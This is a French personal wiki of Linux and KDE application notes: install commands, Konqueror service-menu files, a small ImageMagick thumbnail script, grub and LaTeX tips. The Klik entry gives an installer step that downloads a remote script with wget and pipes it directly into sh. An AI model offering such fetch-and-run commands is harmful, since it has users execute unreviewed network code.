Pour fusionner plusieurs fichier, la commande //cat// fait généralement l'affaire:
{{{
$ cat fichier1 fichier2 > monFichierFinal
}}}
S'il s'agit de fichier .avi, la méthode précédente peut corrompre le fichier au niveau de la jointure. Dans ce cas mencoder fera l'affaire:
{{{
$ mencoder -forceidx -ovc copy -oac copy -o monFichierFinal.avi fichier1.avi fichier2.avi
}}}
''Nom de l'application'': ''@@color(red): K3b @@''
Mots clef: gravage, cd, dvd, iso
<<<
''Description: ''K3b permet de graver des CD et DVD, tous formats, de graver des images, des données, de la musique. Un logiciel d'une stabilité étonnante.
Si la gravure de CD audio ne fonctionne pas à partir de fichiers .mp3, il faut installer le paquet suivant: libk3b2-mp3

''Installation: ''[[via apt|apt://k3b]]

''Note: ''pour gnome, voir GnomeBaker
''Nom de l'application'': ''@@color(red): K3dsurf @@''
Mots clef: mathématique, modélisation
<<<
''Description: ''Joli logiciel de modélisation de surface dans l'espace.

''Installation: ''{{{# aptitude install k3dsurf}}}

''Notes: ''Permet également de tourner les surfaces dans l'espace;)
''Nom de l'application'': ''@@color(red): Kalarm @@''
Mots clef: alarme, compte à rebours
<<<
''Description: ''Kalarm est un petit logiciel qui vous permet de programmer des commandes à exécuter à heure fixe ou après un certain laps de temps. Il peut:
    * afficher un texte à l’écran
    * afficher une image
    * envoyer un email
    * jouer un fichier son, ou un bip
    * exécuter un programme
    * exécuter un script personnalisé.

''Installation: ''{{{# aptitude install kalarm}}}

''Note: ''voir aussi le petit script basic CompteARebours
''Nom de l'application'': ''@@color(red): Kaudiocreator @@''
Mots clef: encodage, mp3, ogg
Liens: [[site officiel|http://www.icefox.net/programs/?program=KAudioCreator]]
<<<
''Description: ''Kaudiocreator est une interface graphique simple d'utilisation permettant l'encodage de CD en .mp3 ou .ogg et en utilisant l'encodeur de votre choix. Il permet également de récupérer les informations du disque via CDDB. Les fichiers encoder sont ensuite sauver dans le répertoire, par ex. pour un mp3, //~/mp3/artiste/album//

''Installation: ''{{{apt-get install kaudiocreator}}}

''Notes: ''
*A noter que pour le simple encodage (en .mp3, .ogg, .flac) konqueror offre une possibilité simplissime.En effet, il suffit de parcourir le répertoire d'un cd à l'aide de konqueror pour se voir proposer plusieurs dossiers suivant le type de fichiers voulus. Vous pouvez ensuite copier un fichier à l'intérieur du dossier (par exemple le dossier Ogg Vorbis) et alors le fichier collé est automatiquement converti. Magique !
*Il existe un équivalent Gnome du nom de Sound Juicer (installation via {{{apt-get install sound-juicer}}})
<<<
''Nom de l'application'': ''@@color(red): Kcalc @@''
Mots clef: bureautique
<<<
''Description: ''petite calculatrice simple et pratique pour kde.

''Installation: ''{{{apt-get install kcalc}}}
<<<
''Nom de l'application'': ''@@color(red): Kcolorchooser @@''
Mots clef: couleurs
<<<
''Description: ''Outil de sélection de couleur, par code ou par "pipette".

''Installation: ''{{{#aptitude install kcolorchooser}}}

''Notes: ''kcoloredit offre environ les mêmes possibilités.
''Nom de l'application'': ''@@color(red): Kcometen3 @@''
Mots clef: économiseur d'écran
Liens: [[page kde-look.org | http://www.kde-look.org/content/show.php?content=30313 ]]
<<<
''Description: ''Voilà un économiseur d'écran basé sur open-GL qui vaut vraiment le détour.

''Installation: '' Depuis la [[page kde-look.org| http://www.kde-look.org/content/show.php?content=30313 ]], télecharger le paquet ubuntu .deb disponible (le paquet pour dapper fonctionne également pour edgy) et ensuite l'installer. Ne reste plus qu'à choisir Kcometen3 comme économiseur d'écran dans le menu de configuration du bureau.
''Nom de l'application'': ''@@color(red): Kdiff3 @@''
Mots clef: comparaison, fichiers
Liens: [[site|http://kdiff3.sourceforge.net/ ]]
<<<
''Description: '' Kdiff3 permet de comparer deux ou trois fichiers et d'afficher les différences ligne par ligne et caractère par caractère. Il offre différentes possibilités de fusions et un éditeur intégré permettant de règler les conflits. Kdiff3 permet une comparaison ainsi que des fusions récursives.

''Installation: ''{{{apt-get install kdiff3}}}

''Notes: ''
#voir son utilisation avec UnisonGtk
#voir aussi MelD
''Nom de l'application'': ''@@color(red): Kdissert @@''
Mots clef: mind-mapping, organisation
<<<
''Description: ''Logiciel de "mind mapping", permettant la structuration de ses pensées de manière pratique à l'aide de schémas (pour la création de dissertations, thèse, plans terroristes, etc).

''Installation: ''[[via apt|apt://kdissert]]

''Notes: ''
#Permet de plus divers exportations vers OpenOffice (présentation), Latex ou html: un gain de temps inestimable, simplement génial !
#Voir aussi VyM
#Et aussi ThinkingRock
''Nom de l'application'': ''@@color(red): Kdocker @@''
Mots clef: utilitaire, desktop
<<<
''Description: ''Permet de réduire facilement toute application dans la zone de notification de la barre kde ou gnome.

''Installation: ''{{{apt-get install kdocker}}}. 
Pour ubuntu dapper, ajouter le dépôt d'ASHER256 avec ces deux lignes dans /etc/apt/sources.list:

''Notes: ''
#Il peut être utile d'attribuer à kdocker un raccourci clavier et d'ainsi pouvoir kdocker rapidement une application (je l'utilise systèmatiquement avec thunderbird et amule), voir RaccourcisClavierKDE ou KeyTouch.
#AllTray permet aussi de minimiser ses applications dans la zone de notification.
''Nom de l'application'': ''@@color(red): Kflickr @@''
Mots clef: internet, photos, flickr, kde
Liens: [[site officiel|http://kflickr.sourceforge.net/ ]]
<<<
''Description: ''Kflickr est un petit logiciel permettant d'uploader facilement ses photos sur un compte flickr.

''Installation: ''{{{# aptitude install kflickr}}}

''Notes: ''Voir aussi JUploadr pour un programme en java.
''Nom de l'application'': ''@@color(red): Kget @@''
Mots clef: downloadManager, télechargement, KDE
<<<
''Description: ''Kget est un gestionnaire de télechargement qui s'intègre à l'environnement KDE.

''Installation: ''{{{# aptitude install kget}}}

''Utilisation: ''Il peut être utiliser automatiquement avec konQueror et avec FireFox Grâce à l'[[extension|ExtensionsFirefoxInstallees]] Flashgot.

''Notes: ''Notons que WGet permet également le télechargement avec reprise avec l'option //-c//
''Nom de l'application'': ''@@color(red): Kgtk @@''
Mots clef: KDE, apparence, firefox
Liens: [[site officiel| http://www.kde-look.org/content/show.php/KGtk+(Use+KDE+Dialogs+in+Gtk+Apps)?content=36077 ]]
<<<
''Description: ''Kgtk permet d'obtenir les fenêtre de dialogue kde pour certaines applications gtk.

''Installation: ''via les paquets .deb:
*Pour ubuntu Edgy [[ici|http://www.kde-look.org/content/show.php/KGtk+for+Kubuntu+Edgy?content=58584]]
*Pour ubuntu Feisty [[ici|http://ubuntuforums.org/showthread.php?t=325654]]
''Utilisation: ''Pour lancer un beau et nouveau firefox
{{{
$ /usr/bin/kgtk-wrapper firefox
}}}
''Nom de l'application'': ''@@color(red): Knotes @@''
Mots clef: bureautique, kde
<<<
''Description: ''Petit utilitaire permettant de laisser des Post-it sur le bureau kde

''Installation: '' inclus dans kde ou via apt-get
<<<
''Nom de l'application'': ''@@color(red): Krename @@''
Mots clef: renommer, rename, fichiers
<<<
''Description: ''LE logiciel kde permettant de renommer une série de fichiers de manière hyper-efficace.

''Installation: ''{{{# aptitude install krename}}}

''Notes: '' Voir aussi MetaMorphose (multiplateforme), PyRenamer et, en ligne de commande, RenommerPlusieursFichiers.
''Nom de l'application'': ''@@color(red): KShutDown @@''
Mots clef: arrêt pc, shutdown
<<<
''Description: ''Petit utilitaire kde permettant de programmer l'arrêt de votre machine (par exemple dans 5mn ou après la fermeture d'une appication spécifique). Voir aussi ShutDown

''Installation: ''{{{# aptitude install kshutdown}}}

''Notes: ''Il existe également gshutdown pour gnome 
Voir aussi ProgrammationArretPC en ligne de commande.
''Nom de l'application'': ''@@color(red): kappfinder @@''
Mots clef: kde, kmenu, recherche
<<<
''Description: ''kappfinder est un petit programme qui permet de rechercher les applications qui ne sont pas encore ajoutée dans le menu k. Pratique quand l'on installe un programme et que ce dernier n'est pas répertorié automatiquement.

''Installation: ''{{{apt-get install kappfinder}}}
<<<
''Nom de l'application'': ''@@color(red): Katapult @@''
Mots clef: lanceur, kde
<<<
''Description: ''Sous kde, Katapult permet un accès rapide aux programmes, marques-pages et autres. 
Accessible via Alt + espace, il suffit de taper les premières lettres du programme suivies de Entrée pour lancer ce dernier. Katapult a été inspirée par Quicksilver, logiciel aux fonctions similaires sous Mac OS X".

''Installation: ''{{{#aptitude install katapult}}}

''Notes: ''
Pour Gnome, voir GnomeDo ou SynaPse

Pour mettre à jour katapult (après l'installation d'un programme par exemple):
#Alt+espace pour lancer katapult
#Ctrl+c pour entrer dans le menu de configuration
#Choisir //Configurer katapult//
#Choisir ok
''Nom de l'application'': ''@@color(red): Kazehakase @@''
Mots clef: butineur, browser, internet
<<<
''Description: ''Kazehakase est un butineur internet basé sur le moteur Gecko, sa particularité est d'être très léger et très complet, le rendant parfait pour des systèmes anciens ou ayant peu de mémoir.

''Installation: ''[[via apt|apt://kazehakase]]
''Nom de l'application'': ''@@color(red): KbarCode @@''
Mots clef: graphisme, étiquettes, cartes de visites
<<<
''Description: ''Logiciel simple et efficace permettant à la base la création de codebarre mais offrant également la possibilité de créer étiquettes et cartes de visite rapidement et efficacement (alternative à GLabels).

''Installation: ''via {{{apt-get install kbarcode}}}

''Notes: ''Permet d'exporter sous format image
<<<
''Nom de l'application'': ''@@color(red): Kdar @@''
Mots clef: sauvegarde
Lien: [[source|http://www.ubuntugeek.com/disk-archive-backup-and-restore-using-dar-and-kdardar-frontend.html ]]
<<<
''Description: ''Kdar est l'interface graphique d'un outil de sauvegarde puissant en ligne de commande: [[dar| http://dar.linux.free.fr/]]. Il permet d'effectuer facilement des sauvegardes différentielles périodiques d'un répertoire donné.

''Installation: ''{{{# aptitude install dar kdar}}}
Cependant, pour (K)Ubuntu edgy, une erreur de dépendance empêche l'installation (libdar3c2a but it is not installable!). Pour tout de même installer ce programme, la manière la plus rapide est d'ajouter temporairement dans le fichier ///etc/apt/sources.list// la ligne suivante:
{{{deb http://archive.ubuntu.com/ubuntu dapper main restricted universe multiverse}}} 
qui fera appelle aux sources de dapper. Ensuite un petit {{{# apt-get update}}} et pour finir l'installation. Ne pas oublier ensuite des rétablir les fichier ///etc/apt/sources.list// tel qu'il était.

''Notes: ''Pour plus de détail quant à l'utilisation de Kdar, voir le lien.
Astuce: ''Afficher l'icône poubelle sur le bureau''
Mots clef: desktop, kde
Os: Linux avec KDE
<<<
Editer le fichier ~/Desktop/trash.desktop
Changer ainsi la ligne ~NoDisplay:
{{{
NoDisplay=false
}}}

<<<
''Nom de l'application'': ''@@color(red): Keepassx @@''
Mots clef: Sécurité, cryptographie
Liens: Liens: [[site officiel| http://keepassx.sourceforge.net/ ]]
<<<
''Description:'' Gestionnaire de mots de passe open-source, léger et d'utilisation facile. Disponible pour Linux, Windows, Windows Mobile, Mac et pour finir télephone Java.

''Installation:'' [[via apt|apt://keepassx]]
Pour télephone portable:
Télecharger l'application sur {{{http://keepassserver.info/k.php}}} et l'installer.

''Notes:'' 
#Keepassx et une version linux de keepass: version Windows+~PocketPC disponibles [[ici| http://keepass.sourceforge.net ]].
#Pour un petit logiciel équivalent seulement pour gnome il existe gpass et revelation.
''Nom de l'application'': ''@@color(red): Kerry @@''
Mots clef: recherche, fichiers, kde
Liens: [[kde-apps|http://kde-apps.org/content/show.php?content=36832]]
<<<
''Description: ''Kerry est un frontend kde pour le programme de recherche Beagle. Ce-dernier permet d'effectuer des recherches dans l'ensemble des dossiers, des mails ou des programmes présents sur l'ordinateur. 

''Installation: ''{{{# aptititude install kerry}}}

''Notes: ''Peut être utilisé dans TastyMenu.
''Nom de l'application'': ''@@color(red): Keyjnote @@''
Mots clef: pdf, présentation
<<<
''Description: ''KeyJnote est un logiciel de présentation pour fichiers .pdf

''Installation: ''[[via apt|apt://keyjnote]]

''Utilisation: ''En ligne de commande, simplement ajouter le fichier .pdf en argument comme ceci: {{{$ keyjnote monFichier.pdf}}}

''Notes: ''voir la page man pour des informations sur les différents raccourcis clavier.
''Nom de l'application'': ''@@color(red): Keytouch @@''
Mots clef: clavier, multimédia
Liens: [[site officiel|http://keytouch.sourceforge.net/]]
<<<
''Description: ''Keytouch permet d'attribuer de manière très aisée des raccourcis clavier pour les touches multimédia.

''Installation: ''{{{# aptitude install keytouch}}}

''Utilisation: ''{{{$ keytouch}}} puis très intuitif.

''Notes: ''Très bonne alternative à  ActivationDesTouchesMultimédia et RaccourcisClavierKDE
''Nom de l'application'': ''@@color(red): Kfilereplace @@''
Mots clef: chercher, remplacer, fichiers
<<<
''Description: ''Petit logiciel permettant d'effectuer des chercher/remplacer dans des fichiers sans connaître les ExpressionsRegulieres.

''Installation: ''{{{# aptitude install kfilereplace}}}

''Utilisation: ''GUI très intuitive.

''Notes: ''
#Pour un logiciel orienté Gnome, voir RegExxer.
#En ligne de commande, voir SeD
''Nom de l'application'': ''@@color(red): Khtml2png @@''
Mots clef: html, image, conversion
Liens: [[site officiel|http://khtml2png.sourceforge.net/ ]]
<<<
''Description: ''Khtml2png est un programme en ligne de commandes permettant de convertir une page Internet en image. Ce programme utilise la librairie libkhtml, qui est utilisé par KonQueror, ainsi que ImageMagick.

''Installation: ''Paquet .deb disponible sur le  [[site officiel|http://khtml2png.sourceforge.net/ ]].

''Utilisation: ''
{{{
$ khtml2png2 lesite.com lesiteenimage.png
}}}

''Notes: ''
#Quelques alternatives pour la conversion html -> images [[ici|http://ask.metafilter.com/36011/How-do-I-schedule-web-screenshots-from-a-Linux-box]].
#Pour effectuer des copie d'écran en console, voir ShellScreenshot
''Nom de l'application'': ''@@color(red): Kile @@''
Mots clef: éditeur, latex
Liens: [[site officiel| http://kile.sourceforge.net/ ]]
<<<
''Description: ''Kile est un éditeur kde pour latex à l'image de ce que quanta+ est pour le html.

''Installation: ''[[via apt|apt://kile]]

''Notes: ''Afin d'utiliser kile pour écrire des document Latex, il est bon d'installer:
{{{
# aptitude install tetex-base tetex-extra tetex-bin 
}}}
Et, en cas de problèmes avec les accents (voir LateXKileAccents):
{{{
# aptitude install latex-ucs
}}}

Si vous désirez créer des documents latex tout en utilisant un logiciel WYSIWYG, voir alors LyX
''Nom de l'application'': ''@@color(red): Kivio @@''
Mots clef: schémas, diagramme (de flux)
Liens: [[site officiel| http://koffice.kde.org/kivio/ ]]
<<<
''Description: ''Logiciel de création de schémas et de diagramme semblable à DiA

''Installation: ''{{{# aptitude install kivio}}}
''Nom de l'application'': ''@@color(red): Kim @@''
Mots clef: utilitaire, graphisme, konqueror, kde
Liens: [[site officiel| http://www.kde-apps.org/content/show.php?content=11505 ]]
<<<
''Description: ''Kim est un service-menu (KonquerorServiceMenu) pour konqueror, utilisant ImageMagick et //Mpegtools//, et ajoutant un menu afin de pouvoir facilement, par un clic-droit: compresser, réduire, convertir ou renommer des images

''Installation: ''Allez sur le site officiel, télecharger l'archive, la décompresser et lancer le script d'installation.

''Notes: ''
#Pour Gnome, voir aussi NisNautilus
#Voir aussi RedimensionnementJPGPourWEB
''Nom de l'application'': ''@@color(red): Kissd @@''
Mots clef: réseau, kiss, multimedia
Liens: [[site| http://www.popies.net/kissd/ ]]
<<<
''Description: ''kissd est un daemon permettant à un lecteur de type ~KiSS 15xx ~DVD/~DiVX d'accéder au contenu vidéo, musical ainsi qu'aux images d'un serveur.

''Installation: ''Installation et compilation via kissd-X.Y.tar.bz2

''Notes: ''Les différents chemins vers les documents audio et vidéo sont indiqués dans le fichier ///etc/kissd.conf//
''Nom de l'application'': ''@@color(red): Klik @@''
Mots clef: utilitaire
Liens: [[site officiel| http://klik.atekon.de/ ]]
<<<
''Description: ''Klik permet de tester des logiciels sans les installer sur le système.

''Installation: ''
{{{# aptitude install binutils libstdc++5 rpm gnome-about}}}
puis (sans être en root)
{{{$ wget klik.atekon.de/client/install -O -|sh}}}

''Notes: '' Klik est un programme qui permet d'utiliser des paquets sans installation. Ces paquets sont constitués d'un seul fichier cmg et peuvent être lancés à partir d'une page Web ou d'une clé USB. Ce fichier cmg est une image compressée du système de fichier cramfs. En lançant le programme, Klik va monter le fichier dans le répertoire /tmp/ puis il lancera l'exécutable.

Pour lancer une application, Lancer une application ouvrir Konqueror et entrer:
{{{
Klik://nom_du_programme 
}}}

voir le site officiel pour plus de détails.
''Nom de l'application'': ''@@color(red): Mahjongg @@''
Mots clef: jeux
<<<
''Description: ''Comme MahjongG, kmahjongg est une version 3D du jeu de tuiles oriental Mahjongg classique, dont l"objectif est de retirer toutes les tuiles du jeu. Les tuiles sont retirées par paires assorties. Les tuiles ne peuvent pas être retirées si elles n"ont pas au moins un bord de libre. Cliquez sur n"importe quelle tuile libre et sur son double pour les retirer du jeu. Répétez cela, si vous le pouvez, jusqu"à ce que toutes les tuiles soient retirées.

''Installation: ''{{{apt-get install kmahjongg}}}
<<<
''Nom de l'application'': ''@@color(red): Kmhtconvert @@''
Mots clef: Internet, archives
<<<
''Description: ''kmhtConvert permet de convertir les fichiers .mht (Windows Web Archive, archive web créer par i.e.) en fichiers .war(KDE Web Archive).

''Installation: ''{{{# aptitude install kmhtconvert}}}
''Nom de l'application'': ''@@color(red): Kompose @@''
Mots clef: utilitaire, bureau
<<<
''Description: ''Permet d'afficher l'ensemble des programmes ouverts sous forme de fenêtres redimensionnées sur lesquelles l'on peut ensuite cliquer.

''Installation: ''{{{# aptitude install kompose}}}

''Notes: ''La combinaison "windows+tab" permet d'accéder aux miniatures.
Quelques bugs remarqués dans la création de miniatures des fenêtres.
''Nom de l'application'': ''@@color(red): Kommando @@''
Mots clef: utilitaire, raccourci, lanceur
<<<
''Description: ''kommando est un "lanceur" permettant de faire apparaître, à l'aide d'un raccourci clavier paramétrable, un menu circulaire contenant les applications de votre choix.

''Installation: ''[[via apt|apt://kommando]]

''Notes: ''avec la commande {{{konqueror /monDossier}}} dans kommando, on peut également créer un raccourcis vers un dossier particulier qui sera ouvert dans konqueror.
''Nom de l'application'': ''@@color(red): Kompozer @@''
Mots clef: internet, page web, design
Liens: [[tuto|http://info.sio2.be/kpz/index.php ]]
<<<
''Description: ''Kompozer (successeur de Nvu) est un logiciel graphique de création de page web.

''Installation: ''{{{#aptitude install kompozer}}} dès Feisty et sinon télécharger le fichier .deb sur [[getdeb.net|http://www.getdeb.net/]]

''Utilisation: ''voir [[tuto|http://info.sio2.be/kpz/index.php ]]

''Notes: ''voir aussi BlueGriffon
''Nom de l'application'': ''@@color(red): Konqueror @@''
Mots clef: Internet, butineur, browseur, gestionnaire de fichiers

<<<
''Description: ''Konqueror n'est pas qu'un simple butineur (quoiqu'il excelle pourtant dans ce domaine), mais également un gestionnaire de fichier hors-paire.

''Installation: ''installer par défaut avec KDE

''Voir aussi: ''
*AstucesKonqueror
But: ''Création d'aperçus dossier à partir de toute image''
Mots clef: kde, konqueror, dossiers, image
<<<
''Notes: ''Linux

''Utilisation: ''Sans paramètre le choix est celui de la première image du dossier, sinon: {{{$ ./coverImage monImage.jpg}}}. Il peut aussi être utilisé (voir fin de l'article) par simple clic droit dans konqueror.

''Script: '' 
{{{
#!/bin/bash

#*************************************************************************#
#Script permettant d'attribuer dans konqueror une image d'aperçu pour
#les dossiers.
#
#Nécessite imageMagick pour la convesion
#****************************@Bartux2007**********************************#

#**************************debut du script*********************************

#Si aucun paramètre n'a été entré, on prend la première image
if  test -z "$1" ;
then
	IMAGE=`ls | grep .jpg | head -n 1`
	if  test -z "$IMAGE" ;
	then 
		exit 0
	fi
#Sinon on a entré en paramètre
else
	IMAGE=$1
fi

convert "$IMAGE" -thumbnail x200 -resize '200x<' -resize 50% -gravity center -crop 100x100+0+0 cover.png
touch .directory
echo "[Desktop Entry]" > .directory
echo "Icon=./cover.png" >> .directory

#**************************fin du script**********************************
}}}

Ce Script peut ensuite être employé grâce à une entrée au menu contextuel (KonquerorServiceMenu) en ajoutant dans un fichier apercuDossier.desktop dans {{{usr/share/apps/konqueror/servicemenus}}} ou dans {{{~/.kde/share/apps/konqueror/servicemenus/}}} le code suivant:
{{{
[Desktop Entry]
Actions=DirApercu
Encoding=UTF-8
ServiceTypes=image/*

[Desktop Action DirApercu]
Exec=(cd %d && scriptCoverImage.sh %n)
Name=Set this file as directory preview
Name[fr]=Mettre l'image en aperçu du dossier
Icon=insert-image
}}}
 
Astuce: ''Mettre une image en aperçu d'un dossier dans konqueror.''
Mots clef: kde, konqueror, image
Os: Linux
Liens: [[source| http://blog.bmaron.net/index.php?post/2007/08/28/Apercu-du-dossier-dans-Konqueror ]]
<<<
''Fonctionnement'':
Il suffit d'ajouter dans le dossier un fichier (caché) //.directory// faisant le lien vers une image qui doit être en format //.png// et contenant le code suivant:
{{{
[Desktop Entry]
Icon=./cover.png
}}}
Où cover.png est l'image en question.
''Utilisation'':
Il est possible d'automatiser la création de tels aperçu.
* Grâce au menu contextuel de konqueror (clic droit), voir KonquerorServiceMenuApercuDossier
* Grâce à un script, voir KonquerorApercuDossierScript
Astuce: ''Ajouter des éléments dans le menu contextuel de konqueror (clic droit)''
Mots clef: kde, konqueror
Os: Linux 
Liens: [[source (très complet)| http://www.coagul.org/article_imprime.php3?id_article=572 ]], [[exemples|http://www.coagul.org/article.php3?id_article=91]]
<<<
Afin de créer un élément dans le menu contextuel de konqueror, il s'agit de créer un fichier monElement.desktop dans un des deux dossiers suivants:
Pour que l'élément apparaisse chez tous les utilisateurs (nécessite donc des droits root)
{{{
usr/share/apps/konqueror/servicemenus
}}}
Pour que l'élément ne soit présent que chez l'utilisateur actuel
{{{
~/.kde/share/apps/konqueror/servicemenus/
}}}
Ensuite ce fichier doit contenir quelque chose du genre:
{{{
[Desktop Entry]
ServiceTypes=all/all
TryExec=kdialog
Actions=Test1;_SEPARATOR_;Test2

X-KDE-Submenu=Mon Sous Menu

[Desktop Action Test1]
Name=Test1
Icon=arts
Exec=kdialog --msgbox '%u'

[Desktop Action Test2]
Name=Test2
Exec=kdialog --msgbox '%u'
}}}
Où //%u// permet de reprendre le fichier sur lequel on a fait un clic droit dans une ligne a exécuter: //Exec=...%u...
Pour plus d'exemples voir [[ici|http://www.coagul.org/article.php3?id_article=91]].
Plusieurs paramètres peuvent être utilisés, ils sont résumés dans le tableau suivant ([[source| http://www.coagul.org/article_imprime.php3?id_article=572 ]]):
|Variable|	Contenu|
|%f|	URL complète du fichier (Chemin+nom). Si plusieurs fichiers sont sélectionnés, le programme sera exécuté pour chaque fichier|
|%F|	Liste des URL de tous les fichiers sélectionnés. Dans ce cas, le programme est exécuté une seule fois mais il doit être capable de traiter cette liste.|
|%u|	Idem %f (Je n’ai vu aucune différence)|
|%U|	Idem %F (Je n’ai vu aucune différence)|
|%d|	Chemin du fichier sans son nom|
|%D|	Liste des chemins des fichiers sélectionnés. La sélection peut en effet comprendre des fichiers compris dans plusieurs dossiers|
|%n|	Nom du fichier sans son chemin|
|%N|	Liste des noms des fichiers sélectionnés|

''Note:'' voir KonquerorServiceMenuExemples pour des exemples créés.
Astuce: ''une entrée au menu contextuel pour les aperçus dossier''
Mots clef: kde, konqueror, dossiers, image
Os: Linux
Liens: [[source| http://blog.bmaron.net/index.php?post/2007/08/28/Apercu-du-dossier-dans-Konqueror ]]
<<<
Notons que cette entrée nécessite une image au format //.png//. Il est donc nécessaire de tout d'abord convertir l'image si elle n'est pas dans ce format. Il est possible cependant d'appliquer la technique sur tout format d'image grâce au script KonquerorApercuDossierScript
Il faut ajouter dans un fichier apercuDossier.desktop dans {{{usr/share/apps/konqueror/servicemenus}}} ou dans {{{~/.kde/share/apps/konqueror/servicemenus/}}} le code suivant:
{{{
[Desktop Entry]
Actions=DirApercu
Encoding=UTF-8
ServiceTypes=image/png

[Desktop Action DirApercu]
Exec=echo "[Desktop Entry]\nIcon=./`basename %u`" > `dirname %u`/.directory
Name=Set this file as directory preview
Name[fr]=Mettre l'image en aperçu du dossier
Icon=insert-image
}}}
Astuce: ''Quelques service menus créés''
Mots clef: kde, konqueror
Os: Linux 
<<<
Pour l'utilisation de ces service menus, voir KonquerorServiceMenu.

*Ouverture du répertoire avec AmaroK (amarok_dir.desktop )
{{{
[Desktop Entry]
Actions=Rename
Encoding=UTF-8
ServiceTypes=inode/directory

[Desktop Action Rename]
Exec=amarok %U
Name=Open Directory with Amarok
Name[fr]=Ouvrir le dossier avec Amarok
Icon=amarok
}}}
*Ouvertur du fichier avec wine (wine.desktop)
{{{
[Desktop Entry]
Encoding=UTF-8
ServiceTypes=all/all
Actions=WineOpen
ExcludeServiceTypes=kdedevice/*

[Desktop Action WineOpen]
Name=Open program with Wine
Name[fr]=Ouvrir le programme avec wine
Exec=wine %f
Icon=exec
}}}

''Note:'' voir aussi KonquerorApercuDossierScript
''Nom de l'application'': ''@@color(red): Krusader @@''
Mots clef: fichier, gestionnaire
Liens: [[site officiel|http://krusader.sourceforge.net/]]
<<<
''Description: ''Krusader est un gestionnaire de fichiers avancé pour KDE avec doubles panneaux, comparable à Midnight Commander ou Total Commander mais avec beaucoup plus de fonctionnalités.

''Installation: ''{{{# sudo aptitude install krusader}}}

''Notes: ''
# Existence du mode super-utilisateur très pratique
# Permet également, par exemple, la synchronisation des dossiers (voir [[ici|http://www.linuxjournal.com/node/1005984]])
Astuce: ''Le contenu du fichier trash.desktop sous Kubuntu''
Mots clef: kubuntu, kde
Os: Kubuntu
<<<
Parce que je l'ai déjà fait disparaître, voilà le contenu du fichier trash.desktop qui affiche la poubelle sur le bureau kde de Kubuntu:
{{{
[Desktop Entry]
Comment=Contains removed files
EmptyIcon=trashcan_empty
Encoding=UTF-8
Icon=trashcan_full
Name=Trash
NoDisplay=false
OnlyShowIn=KDE
Type=Link
URL=trash:/
}}}
<<<
''Nom de l'application'': ''@@color(red): Lanmap @@''
Mots clef: lan, réseau, schéma
Liens: [[source| http://www.ubuntugeek.com/lanmap-network-discovery-tool-that-produces-nice-2d-images.html ]]
<<<
''Description: ''Lanmap est un programme qui analyse les communications au sein d'un réseau et qui produit, à partir de là, un schéma sous forme de ce réseau.

''Installation: ''{{{# aptitude install lanmap}}}

''Utilisation: ''
Syntaxe de base:
{{{
$ lanmap [-o directory] [-e program] [-T {png,gif,svg}] [-f filtetr] [-D {#,all,raw}] [-r seconds]
}}}
Ainsi, par exemple
{{{
# lanmap -i eth0 -r 30 -T png -o /tmp/
}}}
Va créer l'image lanmap.png dans le répertoire ///tmp///
Les options sont les suivantes:

lanmap available options

-o dossier - Le dossier où sont enregistrées les images (par défaut le répertoire courant)

-e programme - Le programme qui va générer l'image (par défaut twopi)

-T {png,gif,svg} - Le format de sortie de l'image (par défaut .png)

-f filtre - le filtre de trafic en syntaxe libpcap

-D {#,all,raw} - mode Debug 

-r secondes - Temps entre la génération de deux graphes consécutifs (par défaut 60 secondes)

-i {?,*wildcard*,iface} - Interface utilisée

-V - Version info.

-vv - Mode verbose 

-h - Aide

''Notes: ''Dans la version disponible pour ubuntu gutsy, un bug induit le message suivant: 
{{{Error: couldn't open image file /usr/share/lanmap//graph/img/filed.png}}}
Pour résoudre le problème, il suffit de télécharger cette [[image|http://launchpadlibrarian.net/4938364/filed.png]] et de la mettre dans le répertoire décrit dans le message d'erreur.
Astuce: ''Lancer une application automatiquement au démarrage sous KDE''
Mots clef: démarrage, kde
Os: Kubuntu/Debian
<<<
# ''Méthode manuelle'' Pour qu'un programme se lance lors du démarrage de KDE, vous devez créer un raccourci vers ce dernier dans {{{~/.kde/Autostart}}}. Par exemple, pour que le programme /usr/bin/kmix se lance automatiquement, entrez la commande suivante dans votre terminal:{{{$ ln -s /usr/bin/kmix $HOME/.kde/Autostart/kmix}}} La commande aura pour effet de créer le lien symbolique ~/.kde/Autostart/kmix qui pointera vers /usr/bin/kmix. NB: Vous pouvez très bien faire la même chose avec konqueror (en cliquant sur "créer un raccourci" dans le menu contextuel qui s'affiche lorsque vous glissez-déposez un fichier avec le bouton gauche de la souris)
# ''Méthode automatique'' pour Kubuntu ([[source|http://doc.ubuntu-fr.org/applications/autostart]])   
##Téléchargez le paquet suivant : [[Autostart|http://thedamocles.free.fr/pub/ubuntu/32554-autostart_0.1b-1_i386.deb]] (Non disponnible dans les dépots !) 
##Installez le : cliquez droit dessus → Kubuntu Package Menu → Install Package
##Allez dans le Centre de Configuration de Kde (System Settings), rubrique Composants de Kde : Autostart apparaît maintenant sur la droite ! 
Astuce: ''Erreur MP - BIOS bug: 8254 au démarrage''
Mots clef: système, laptop
Os: Kubuntu
Liens: [[source|http://forum.ubuntu-fr.org/viewtopic.php?id=58481 ]]
<<<
Afin d'éliminer l'erreur, il faut modifier le fichier ///boot/grub/menu.lst// en rajoutant simplement à la ligne //# defoptions// noapic nolapic, ce qui donne:
{{{
# defoptions=quiet splash noapic nolapic
}}}
Attention ne pas enlever le # en debut de ligne.
ensuite mettre à jour grub:
{{{$ sudo update-grub}}}
<<<
Astuce: ''Gérer les accents dans les fichiers latex''
Mots clef: bureautique
Os: ubuntu
<<<
Si le fichier à été écrit sous windows, aller dans le menu //Outils// puis //Encodage// et finalement choisissez //Européen de l'ouest (iso 8859-1)//

Pour créer un nouveau fichier contenant des accents en encodage //Unicode (utf8)//, il faut:
# installer le paquet latex-ucs via {{{$ apt-get install latex-ucs}}}
# Ajouter dans l'entête du fichier latex 
{{{
\usepackage{ucs}
\usepackage[utf8x]{inputenc}
}}}
<<<
''Nom de l'application'': ''@@color(red): Latex et vim @@''
Mots clef: édition, mise en page
<<<
''Description: ''ViM est un éditeur en ligne de commande d'une très grande puissance. Il est, si il est bien configuré et maîtrisé, idéal pour rédiger des document Latex.

''Installation: ''
#Si vim n'est pas installé ({{{# aptitude install vim-full}}})
#Pour le plugn Latex de vim: {{{# aptitude install vim-latexsuite}}}
''Utilisation: ''
Tout d'abord, il s'agit de bien configurer vim pour, par exemple, activer la coloration syntaxique et l'historique. Editer le fichier //~/.vimrc// (ou ///etc/vim/vimrc//) et ajouter :
{{{
set nocompatible
set history=50
set ruler
syn on
}}}
Pour activer la correction orthographique (et oui, même dans vim c'est possible)
